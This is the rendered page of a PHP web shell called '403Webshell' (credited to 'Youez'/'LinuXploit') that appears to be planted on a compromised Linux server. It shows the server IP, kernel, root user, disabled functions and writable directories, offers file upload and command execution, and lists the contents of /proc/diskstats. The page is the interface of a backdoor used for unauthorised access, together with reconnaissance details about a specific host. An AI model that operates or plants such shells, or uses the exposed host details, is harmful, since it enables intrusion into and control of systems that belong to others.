403Webshell
Server IP : 37.27.51.148  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
 259       0 nvme0n1 591415375 6087403001 65758671044 265139320 570817719 3665822236 32684771313 1795962107 0 1555778592 2061101681 518 0 2848824 254
 259       1 nvme0n1p1 954413 76911 131887406 46604 2998 11874 1497543 54458 0 43642 101317 518 0 2848824 254
 259       2 nvme0n1p2 590460827 6087326090 65626776854 265092702 531503626 3665810362 32683273770 1715365664 0 1526865057 1980458366 0 0 0 0
 259       3 nvme1n1 595765826 6087451041 65796862793 267362103 565584784 3662224399 32614125137 1967521238 0 1562375927 2234883941 518 0 2848824 598
 259       4 nvme1n1p1 953692 76897 131874116 48565 2997 11875 1497543 56973 0 45411 106138 518 0 2848824 598
 259       5 nvme1n1p2 594811999 6087374144 65664981893 267313529 526270692 3662212524 32612627594 1885563865 0 1533011878 2152877395 0 0 0 0
 259       6 nvme2n1 592648834 6090553525 65823831869 262533733 558993039 3649322658 32458177249 1818292252 0 1544532095 2080826563 518 0 2848824 577
 259       7 nvme2n1p1 953371 76897 131866732 48023 2997 11875 1497543 54247 0 45425 102848 518 0 2848824 577
 259       8 nvme2n1p2 591695328 6090476628 65691958353 262485701 519678947 3649310783 32456679706 1739748478 0 1516583821 2002234180 0 0 0 0
   9       0 md0 1434 0 37514 337 13737 0 1496408 154151 0 2004 155185 518 0 2848824 697
   9       1 md1 1403279899 0 47944237914 410802961 1386471102 0 57470373360 403694409 0 820667797 814497370 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit